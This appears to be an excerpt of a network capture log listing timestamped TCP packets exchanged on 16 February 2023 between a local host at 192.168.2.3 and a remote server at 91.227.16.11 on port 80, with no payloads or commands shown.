Feb 16, 2023 13:58:11.390556097 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390573025 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.390573978 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390594006 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390619040 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.390636921 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390652895 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.390748978 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390770912 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390789986 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390806913 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390810966 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.390825987 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390844107 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390851974 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.390887022 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.390902996 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390923023 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390939951 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390944958 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.390959024 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.390983105 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.390993118 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391038895 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.391062975 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391082048 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391102076 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391119003 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391135931 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391149044 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.391154051 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391181946 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.391187906 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391205072 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391211987 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.391223907 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391247034 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.391257048 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391300917 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.391304016 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391390085 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391408920 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391427040 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391434908 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.391446114 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391463041 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.391464949 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391501904 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.391587019 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391606092 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391623974 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391640902 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391644955 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.391668081 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391680002 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.391729116 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391750097 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391768932 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.391769886 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391788006 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.391814947 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.449208021 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449249983 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449270010 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449289083 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449306011 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.449309111 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449326992 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449340105 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.449397087 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.449410915 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449431896 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449453115 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.449518919 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449541092 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449554920 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449559927 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.449593067 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.449659109 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449696064 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449723005 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449748993 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449758053 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.449779034 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449794054 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.449807882 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449835062 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449846029 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.449862003 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449886084 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449908018 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449913025 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.449934959 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449949026 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.449961901 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.449989080 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450011969 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.450015068 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450042963 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450059891 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.450069904 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450093031 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450107098 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.450113058 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450131893 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450150967 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450161934 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.450169086 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450186968 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450195074 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.450206995 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450226068 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450231075 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.450251102 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450268984 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450279951 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.450287104 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450304031 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.450304985 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450323105 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450340033 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450360060 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450376987 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450386047 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.450423002 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450424910 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.450443029 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450460911 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450480938 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.450489044 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.450526953 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.450572014 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.508107901 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.508146048 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.508166075 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.508184910 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.508200884 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.508204937 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.508224964 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.508230925 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.508244038 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.508260965 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.508277893 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.508279085 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.508296967 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.508306026 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.508316994 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.508326054 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.508344889 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.508358955 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.508372068 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.508414030 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.509174109 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509201050 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509221077 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509239912 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509258986 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509279013 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509279966 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.509298086 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509316921 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509326935 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.509335995 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509354115 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509355068 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.509372950 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509392023 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509411097 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509411097 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.509433031 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509443998 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.509450912 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509469986 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509470940 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.509506941 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.509551048 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509571075 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509589911 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509609938 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509619951 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.509629011 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509648085 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509656906 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.509666920 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509686947 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509692907 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.509706974 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509722948 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509737015 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.509741068 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509768009 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509768963 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.509794950 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509814024 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.509819984 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509845972 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509867907 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.509871960 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509898901 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509912014 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.509926081 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509949923 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.509968042 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.566992998 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567034006 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567061901 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567086935 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567106962 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.567116976 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567143917 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567145109 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.567171097 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567193031 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567209005 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.567212105 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567230940 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567238092 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.567250013 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567261934 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.567267895 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567286968 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567297935 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.567306042 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567323923 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567333937 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.567342043 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567361116 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567364931 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.567379951 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567399025 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567415953 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567418098 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.567434072 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567454100 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567455053 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.567477942 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.567480087 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567507029 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567528009 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.567533016 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567559958 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567573071 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.567584991 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567611933 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567635059 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.567704916 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567732096 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567755938 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567758083 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.567784071 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567807913 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.567811966 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567837954 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567852974 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.567863941 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567888021 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567905903 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.567907095 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567930937 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567945957 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.567956924 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.567982912 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568007946 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.568010092 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568037033 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568058968 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.568064928 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568089962 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568109035 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.568114042 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568140030 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568152905 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.568165064 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568191051 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568203926 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.568217039 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568253994 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.568274021 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568300009 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568320036 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568337917 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568346024 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.568356037 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568373919 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568392992 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.568397999 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568424940 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568425894 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.568453074 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568459988 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.568479061 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568504095 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568516970 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.568528891 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568553925 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568572044 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.568576097 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568599939 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568624020 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568625927 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.568650961 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568669081 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.568680048 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568707943 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568726063 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.568736076 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568762064 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568777084 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.568785906 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568804979 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568823099 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568825960 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.568845034 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568861008 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.568872929 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568897963 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568918943 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.568923950 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568948984 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.568968058 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.568974972 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.569000959 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.569015026 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.569025040 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.569048882 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.569071054 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.569075108 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.569101095 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.569118977 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.569127083 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.569152117 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.569165945 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.569179058 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.569205046 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.569226980 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.569230080 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.569250107 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.569267988 CET	80	49714	91.227.16.11	192.168.2.3
Feb 16, 2023 13:58:11.569272041 CET	49714	80	192.168.2.3	91.227.16.11
Feb 16, 2023 13:58:11.569286108 CET	80	49714	91.227.16.11	192.168.2.3
